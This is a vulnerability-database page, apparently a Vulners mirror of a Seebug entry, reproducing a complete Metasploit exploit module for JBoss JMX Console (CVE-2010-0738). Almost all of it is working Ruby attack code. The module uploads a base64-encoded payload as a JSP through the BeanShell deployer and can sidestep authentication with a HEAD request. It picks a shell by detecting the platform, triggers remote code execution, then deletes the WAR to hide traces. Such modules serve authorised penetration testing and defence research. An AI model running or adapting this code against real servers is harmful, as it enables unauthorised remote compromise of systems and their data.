Lucene search
K

JBoss JMX Console Beanshell Deployer WAR upload and deployment

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 123 Views

JBoss JMX Console Beanshell Deployer WAR upload and deployment. This module installs a WAR file payload on JBoss servers with an exposed "jmx-console" application using the jboss.system:BSHDeployer's createScriptDeployment() method

Related
Code

                                                ##
# $Id: jboss_bshdeployer.rb 11533 2011-01-10 14:34:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'JBoss JMX Console Beanshell Deployer WAR upload and deployment',
			'Description'	=> %q{
					This module can be used to install a WAR file payload on JBoss servers that have
				an exposed "jmx-console" application. The payload is put on the server by
				using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
			},
			'Author'       =>
				[
					'Patrick Hof',
					'jduck',
					'Konrads Smelkovs'
				],
			'License'		=> BSD_LICENSE,
			'Version' 		=> '$Revision: 11533 $',
			'References'	=>
				[
					[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
					[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ]
				],
			'Privileged'   => true,
			'Platform'     => [ 'windows', 'linux' ],
			'Stance'       => Msf::Exploit::Stance::Aggressive,
			'Targets'		=>
				[
					[ 'Universal',
						{
							'Arch' => ARCH_JAVA,
							'Payload' =>
							{
								'DisableNops' => true
							},
						}
					],
				],
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('USERNAME',	[ false, 'The username to authenticate as' ]),
				OptString.new('PASSWORD',	[ false, 'The password for the specified username' ]),
				OptString.new('SHELL',		[ false, 'The system shell to use', 'auto' ]),
				OptString.new('JSP',		   [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
				OptString.new('APPBASE',	[ false, 'Application base name, (default: random)', nil ]),
				OptString.new('PATH',		[ true,  'The URI path of the JMX console', '/jmx-console' ]),
				OptString.new('VERB',		[ true,  'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),
				OptString.new('PACKAGE',   [ true,  'The package containing the BSHDeployer service', 'auto' ])
			], self.class)
	end


	def exploit
		datastore['BasicAuthUser']	= datastore['USERNAME']
		datastore['BasicAuthPass']	= datastore['PASSWORD']

		jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
		app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))

		verb = datastore['VERB']
		if (verb != 'GET' and verb != 'POST')
			verb = 'HEAD'
		end

		p = payload
		if datastore['SHELL'] == 'auto'
			if verb != 'HEAD'
				if not (plat = detect_platform())
					raise RuntimeError, 'Unable to detect platform!'
				end

				case plat
				when 'linux'
					datastore['SHELL'] = '/bin/sh'
				when 'win'
					datastore['SHELL'] = 'cmd.exe'
				end

				print_status("SHELL set to #{datastore['SHELL']}")
			else
				raise RuntimeError, 'Platform detection with HEAD is not supported, please set SHELL manually'
			end

			# Payload generation already happened, therefore SHELL will
			# already be 'automatic' in the payload regardless of what we set above.
			# To fix this, we regenerate the payload now..
			return if ((p = exploit_regenerate_payload(platform, target_arch)) == nil)
		end

		# The following Beanshell script will write the exploded WAR file to the deploy/
		# directory
		encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
		bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

String val = "#{encoded_payload}";

BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war'}").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String jsp_file = jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}";
FileOutputStream fstream = new FileOutputStream(jsp_file);
fstream.write(byteval);
fstream.close();
EOT


		#
		# UPLOAD
		#
		print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
		if datastore['PACKAGE'] == 'auto'
			packages = %w{ deployer scripts }
		else
			packages = [ datastore['PACKAGE'] ]
		end

		pkg = nil
		success = false
		packages.each do |p|
			print_status("Attempting to use '#{p}' as package")
			res = invoke_bshscript(bsh_script, p, verb)
			if !res
				raise RuntimeError, "Unable to deploy WAR [No Response]"
			end

			if (res.code < 200 || res.code >= 300)
				case res.code
				when 401
					print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
				end
				print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
			else
				success = true
				pkg = p
				break
			end
		end

		if not success
			raise RuntimeError("Deployment failed")
		end


		#
		# EXECUTE
		#
		uri = '/' + app_base + '/' + jsp_name + '.jsp'
		print_status("Executing #{uri}...")

		# JBoss might need some time for the deployment. Try 5 times at most and
		# wait 5 seconds inbetween tries
		num_attempts = 5
		num_attempts.times { |attempt|
			res = send_request_cgi({
				'uri'     => uri,
				'method'  => verb
			}, 20)

			msg = nil
			if (! res)
				msg = "Execution failed on #{uri} [No Response]"
			elsif (res.code < 200 or res.code >= 300)
				msg = "Execution failed on #{uri} [#{res.code} #{res.message}]"
			elsif (res.code == 200)
				print_good("Successfully triggered payload at '#{uri}'")
				break
			end

			if (attempt < num_attempts - 1)
				msg << ", retrying in 5 seconds..."
				print_error(msg)

				select(nil, nil, nil, 5)
			else
				print_error(msg)
			end
		}


		#
		# DELETE
		#
		# The WAR can only be removed by physically deleting it, otherwise it
		# will get redeployed after a server restart.
		bsh_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}").delete();
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT

		print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
		res = invoke_bshscript(bsh_script, pkg, verb)
		if !res
			print_error("WARNING: Unable to remove WAR [No Response]")
		end
		if (res.code < 200 || res.code >= 300)
			print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
		end

		handler
	end

	# Try to autodetect the target platform
	def detect_platform()
		print_status("Attempting to automatically detect the platform...")

		path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
		res = send_request_raw(
			{
				'uri'    => path
			}, 20)

		if (not res) or (res.code != 200)
			print_error("Failed: Error requesting #{path}")
			return nil
		end

		if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)
			os = $1
			if (os =~ /Linux/i)
				return 'linux'
			elsif (os =~ /Windows/i)
				return 'win'
			end
		end
		nil
	end


	# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
	def invoke_bshscript(bsh_script, pkg, verb)
		params =  'action=invokeOpByName'
		params << '&name=jboss.' + pkg + ':service=BSHDeployer'
		params << '&methodName=createScriptDeployment'
		params << '&argType=java.lang.String'
		params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
		params << '&argType=java.lang.String'
		params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'

		if (verb == "POST")
			res = send_request_cgi({
				'method'	=> verb,
				'uri'		=> datastore['PATH'] + '/HtmlAdaptor',
				'data'	=> params
			})
		else
			res = send_request_cgi({
				'method'	=> verb,
				'uri'		=> datastore['PATH'] + '/HtmlAdaptor?' + params
			})
		end
		res
	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation